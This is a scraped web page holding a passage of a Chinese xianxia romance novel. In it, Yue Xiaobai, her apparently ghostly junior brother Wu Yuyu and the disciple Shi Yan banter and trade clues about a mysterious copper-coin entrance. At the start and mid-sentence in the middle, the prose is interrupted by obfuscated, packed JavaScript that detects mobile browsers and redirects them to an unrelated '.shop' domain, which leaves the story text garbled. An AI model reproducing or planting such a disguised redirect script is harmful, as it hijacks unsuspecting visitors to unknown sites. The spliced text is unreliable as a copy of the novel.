RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125894|196068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她垂下眼。 “师姐。”乌玉宇又喊了一声,似乎是不明白她再磨蹭些什么。 月晓白含糊地应了一声,出门给他找衣服去了。 屋外,半冷不冷的风往她脑袋上吹,没把她脸上的温度给降下多少,反而让月晓白止不住地开始回想刚才发生的事情。 她一下床就理衣服,乌玉宇在床上等着她拿衣服来换,这个情况,怎么想怎么奇怪。 不太像是师姐弟之间的相处,反而有点像是……事后的感觉。 月晓白步伐一顿,转而又闷头走的更快了。 怎么有种她将乌玉宇给糟蹋了,然后提上裤子不认人的感觉。 之后不能再一块睡了,月晓白心想。 太奇怪了,怎么会那么奇怪。 —— 乌玉宇是在月晓白庭院当中的长凳上,看见他师姐的。 他有些不太明白,只是让师姐帮他去拿个衣服而已,她能跑到哪里去?明明他们住的地方挨的极近,不到一刻,就能走个来回。 所以乌玉宇左等右等没有等来,便下了床,去寻他的师姐了。 虽然他的本意是在这张床上再逗留片刻。 月晓白坐的并不端正,甚至有些懒散,浅浅靠在石柱上,面向他那一侧的神情格外淡漠,而他的衣服,被她随手放在长凳另一头,眼眸微垂,似乎是极不想见到一般。 是因为今天早上的事情吗?乌玉宇心想。 因为感受到和他的距离过近,便迫不及待的远离他,甚至连他的衣服都不想看见了。 而这一切都不想被他发现,所以才在这里,不愿意进屋去吗?让自己能够喘息片刻,呼吸两口没有他的空气。 可他只是有些控制不住,有些想要亲近她而已。 早知她这么迫不及待想要远离他,他就应该早日将她囚禁起来才对,然后…… 一抹念头在他的脑海中一闪而过,恍然之中他又想起来今天早上之时,师姐双腿紧贴他腹部的触感,以及他的手往上滑动之时,隔着一层衣物都能感受到那抹平滑。 然后应该再干点什么呢?乌玉宇觉得自己隐隐抓住了些什么,却又没不太清楚。 还不待他细想,月晓白她动了,她深沉地,从她垂落在底下的那只手,拿出了啃了一半的糖葫芦,面无表情的嚼吧嚼吧,腮帮子一动一动的。 乌玉宇周身的阴郁气质一滞,他轻微一晒,向月晓白的那处走去。 “师姐,我的衣服你拿来了吗?” 月晓白飞速把糖葫芦往她的身旁一藏,但转念又想到乌玉宇现在蒙着眼睛,便堂而皇之地拿了起来。 她咬着糖葫芦,抬着下巴,嗯了一声道:“当然是拿来了。” 月晓白像是忘了今天早上发生的那件尴尬事,眼睛亮亮道:“小鱼儿,关于害死你凶手是谁的那件事,我有些眉目了,你放心,师姐一定会帮你找到凶手,为你报仇的!” 乌玉宇步伐一顿。 10. 铜钱鬼市·三 他的师姐又在不乖了。 乌玉宇心想,明明只是出去了短短时间,就能让她的态度发生这么大的变化。 是因为什么?他只不在了片刻,就变得完全不知情了起来。 “怎么有了凶手的消息,你看着还有点不高兴。”月晓白走过来,拉住他的手,让他同自己坐在一块,充分考虑到了他是个盲人的情况。 乌玉宇:“师姐在吃什么?” “你怎么知道我吃东西了。”月晓白没忍住捂住她的嘴巴。 “师姐的声音很含糊,一听就是嘴里面塞东西了。”乌玉宇语中带着些许挪揄:“究竟是什么好东西,师姐你都背着我吃独食了?” 这话说的,好像她多小气似的。 月晓白又咬了一口糖葫芦:“我这不是考虑到你不喜欢吃吗?所以就特意不在您面前吃了,免得碍到您的眼。” 这一番话,月晓白说的阴阳怪气十足,不过她也确实生气,现在她都能想到乌玉宇小本本上记得内容,还情商的问题。 既然是情商的问题,那她还给他吃干什么。 乌玉宇没有回话,他像是定定地看了一眼,然后垂眸道:“师姐你知道凶手的消息了?” “当然!”虽然话题跳的有些过快了,但见乌玉宇终于接了她的话题,月晓白不由精神一震,将刚才的事情解释了一番。 说完之后,月晓白将吃完的那根糖葫芦木签放在她坐的地方的另一边,打算一会儿扔去:“根据你五师兄的揭发,我很有理由怀疑,他们和害死你的凶手脱不了干系,哦对,你可能还不知道,周轻语就是当时撞见我们出事第一个人,不过这件事我也是听石闫讲的。” 乌玉宇点了点头,原来是撞见周轻语了啊:“所以,这件事和凶手脱不了干系的依据是什么?” “咳,我这是有理有据的怀疑,再说了,有点希望,我们总要去调查一番才行吧。”月晓白正襟危坐道。 细究起来,确实是有些牵强,但是只要她拐着乌玉宇行动,乌玉宇眼睛又看不见,这不被她一骗一个准吗? 乌玉宇似乎是被她说服了,若有所思道:“找到凶手的话,师姐打算如何做呢?” 呃……作为凶手本人,月晓白心虚地想了想,道:“我当然是狠狠地严惩她了,谁让她害死我师弟的。” “哦?如何惩戒?”乌玉宇像是来了兴致,问道:“是要将她绑上个三天三夜,还是要以师姐说的,狠狠地鞭打她呢?” 她可没说要鞭打!月晓白的眼睛瞪大少许,她想象了一下那个场景,她一手带的小师弟将她绑在柱子上,手里拿着鞭子,不时拿来威胁她。 顿觉头皮发麻,这实在是有些太为老不尊了,她的小心脏承受不了。 月晓白觑着乌玉宇认真的脸色,试探道:“当然是要她一辈子都活在悔恨当中!” 乌玉宇不语。 月晓白咬了咬牙,又加重了些筹码:“还要她日日在你的坟前烧纸。” 乌玉宇依旧不语。 “还要她一边烧,一边宣读她究竟犯了多么大的错误,居然将我师弟给害了!”月晓白说的慷慨激昂,但内心已然力竭,她对自己,真不太下得去手。 少吃两三顿饭得了,这已经很对得起乌玉宇了。 乌玉宇心里好笑,却又忍不住在心里咒骂他师姐这个小骗子,明明都这般对不起他了,却连捡好听的话哄他都做不到,说了那么多,没有一句是他爱听的。 乌玉宇面上佯装对她说的不满意,却好似很体谅委屈一般地问道:“如果调查的时候,遇到危险,师姐会保护我吗?” “肯定会。” 上一个问题已经让乌玉宇不满意了,而同样的错误月晓白怎么会犯两次,连忙表衷心道:“如果遇到危险,师姐一定第一个冲在你前头,保证让你连一根头发都掉不了。” “那倒不用。”乌玉宇一顿,随即整个神情都舒缓许多,“我已经长大了,由我来保护师姐就行。” 他早就不是一直站在师姐身后的那个孩子了,他已经成长了太多,而这一情况,乌玉宇觉得他的师姐并没有丝毫的意识到。 本来月晓白那句话是附和产生的居多,但是乌玉宇这么一说,她反而就真这么觉得了。 月晓白的眉头轻蹙:“你现在这情况从哪儿来讲能挡在我前头,还是在我身后就是,师姐不会让人伤了你的。” “我既然说了会保护师姐,那自然会保护。”乌玉宇油盐不进道。 你从哪里来的保护?她需要人保护? 月晓白很想这么说,但一这么说之后,吵架的味道无疑了,便僵在了原地。 也就在这时,她的庭院门口忽然传来响动。 “师姐。” 石闫风风火火的,一边走,一边喊道。 月晓白蹭地从石凳上站起来,拉着乌玉宇,直往屋里躲。 她现在已经顾不得乌玉宇是个什么反应了,月晓白的脑海中只有一个念头,那就是不能被人发现乌玉宇在她这里。 石闫风风火火地往她的庭院走,月晓白风风火火地往她的屋里跑。 而乌玉宇可能是因为有些不明所以,倒也算是配合,至少没有硬站在那里不动。 按理来讲,一个走的,一个跑的,跑的怎么也应该比走的快对才是。 奈何快是快,但是月晓白庭院没什么遮掩,石闫只一眼就看到了月晓白。 他加快了几步,纳闷道:“师姐,你见我跑什么啊?我有消息要向你汇报。” 月晓白停住脚步,刹那间,她福至心灵,不太对,石闫应该看不见乌玉宇。 因为他要是能看见的话,以这小子的性子,肯定第一时间就开始喊,乌师兄你怎么在这里,你怎么活了过来,你不是死了吗? 她面色如常的跟石闫打了个招呼:“我吩咐你的事你办完了吗?” 石闫果然如同她猜想的一般,明明月晓白的身边还站着老大一个人,但他就像是没有发现一般,只看着月晓白道:“放心吧,师姐,当然是办完了。” 月晓白:“轻拿轻放?” “是的,轻拿轻放。” 月晓白若有所思地点了点头,根据周轻语透露出来的消息,她自然是想要将更大的鱼给钓出来,但是他们已经被她给撞见,并且说了要惩罚,置之不理显然是不符合常理。 于是便只按照欺辱同门处置,至于周轻语揭发的那些,有点像是没有发现证据,不了了之,只待之后发现更多的证据再一并处置,想来以周轻语的聪明,能够理解这件事。 石闫一贯灿烂的虎牙,现在都有些黯淡了,他表情愤愤,又有些寒心道:“没想到门中居然会发生这种事,此事是我疏忽了,天地观辛辛苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125895|196068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦将他们养大,到头来就光知道享乐,欺辱同门了。” 月晓白垂眸,其实到现在,她对这件事都有些难以置信。 乌玉宇的指尖在月晓白的掌心轻轻滑动:“师姐,你要是听我的,多给他们安排些事情,多让他们经历些风雨磨炼磨炼,也不至于养出一群米虫。” “闭嘴!”月晓白的心情不虞,此刻更听不得他说些风凉话。 她将一直拉着乌玉宇的手甩开,向石闫道:“此事是我疏忽,派过去跟踪的人可有发现?” 乌玉宇道:“这样也能让你不再那么辛苦,这样不好吗?他们死了又如何?总是要死人的,干些好事去死,不比他们现在强?” 石闫小心翼翼道:“师姐,刚才我没说话啊。” “知道,没说你。”月晓白满脸黑线,她将乌玉宇的话挥之脑后,权当做没听见,并不理睬。 没说他还能说的是谁,难道这里除了他之外,还能有第三个人吗? 石闫挠挠头道:“我来正是要跟师姐你说呢,没想到这么快就被我们给发现了,我还以为要蹲个好几天呢,其中有一个人,他在屋子当中,抛了一枚铜钱,然后便消失了。” “铜钱?”月晓白皱了皱眉,总感觉这个进入方式她应该是在哪里见过,却一时半会儿有些想不起来。 “是啊,也不知道是进去了哪里。”石闫汇报完,忽然,他的视线在院子当中一顿,停留在那个长凳上放的衣物上,越看,他是越眼熟。 如果他没有记错的话,这是乌师兄的衣服吧。 石闫语气艰难道:“师姐,没想到您居然这么喜欢乌师兄,甚至到了忍不住去偷,不是,拿乌师兄衣物的程度。” 月师姐偷衣服这是要做什么?难不成是思念太深,偷衣服来睹物思人。 还是说偷衣服是用来自己穿,模仿乌师兄往日的音容笑貌,将自己活成乌师兄的另一个影子。 更或者…… 越来越多不可描述的想法在他脑袋中充斥着。 让他幼小的心灵受到了深深的震撼。 以至于石闫没过脑子喊了句:“师姐,您还是稍微节制着些吧。” 乌玉宇看热闹不嫌事大的声音旁边传来,他鹦鹉学舌道:“是啊,师姐你还是稍微节制着些吧。” 月晓白眼前一黑。 她沉着脸,走到那堆衣服面前,抖了抖掀开,是一个堆成小塔的糖葫芦,而最上面的那个已经没有了。 “什么偷?我这只是将我放的东西拿回来了。” 石闫轻咳一声,眼神飘忽道:“我说的节制是指糖葫芦,糖葫芦而已,师姐您少吃些,对牙不好,而且你都摆在乌师兄牌位前了。” 乌玉宇朝他那里看了一眼,转过头来又看月晓白:“哦,原来那些糖葫芦是我的,我说的节制也是指糖葫芦。” 月晓白简直一个头两个大,真服了,到底幼稚不幼稚。 她挥了挥手,让石闫离去,转而和乌玉宇讨论起来。 “你有没有感觉这个进入方式很熟悉,好像是咱们用这种方式一块进去过哪里,还见到了什么人,应该还长的挺好看的。”月晓白支着下巴道。 乌玉宇沉吟片刻,就在月晓白以为他会发出什么建设性的意见时。 他道:“你又想起那只骚狐狸了?” 月晓白神情一顿。